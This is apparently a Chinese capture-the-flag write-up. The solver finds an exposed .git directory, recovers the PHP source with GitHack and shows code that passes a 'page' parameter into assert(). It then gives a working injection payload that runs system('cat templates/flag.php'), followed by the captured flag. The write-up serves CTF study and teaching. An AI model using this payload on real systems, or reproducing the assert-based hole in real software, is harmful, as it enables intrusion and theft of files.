打开题目,发现提示了Git,果断上工具扫描
用工具扫描发现存在.git
用GitHack将网站文件下载下来
里面存在一个flag.php
再打开源码进行源码的查看,题目存在page参数的接收
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
因为assert函数具有将读入的代码,作为php代码执行的作用,于是直接对strpos函数进行闭合
构造payload
/?page='.system("cat templates/flag.php").'
在源码中进行flag的chakan
Flag:
cyberpeace{958fa366e25c3ce77a3e34955240d72c}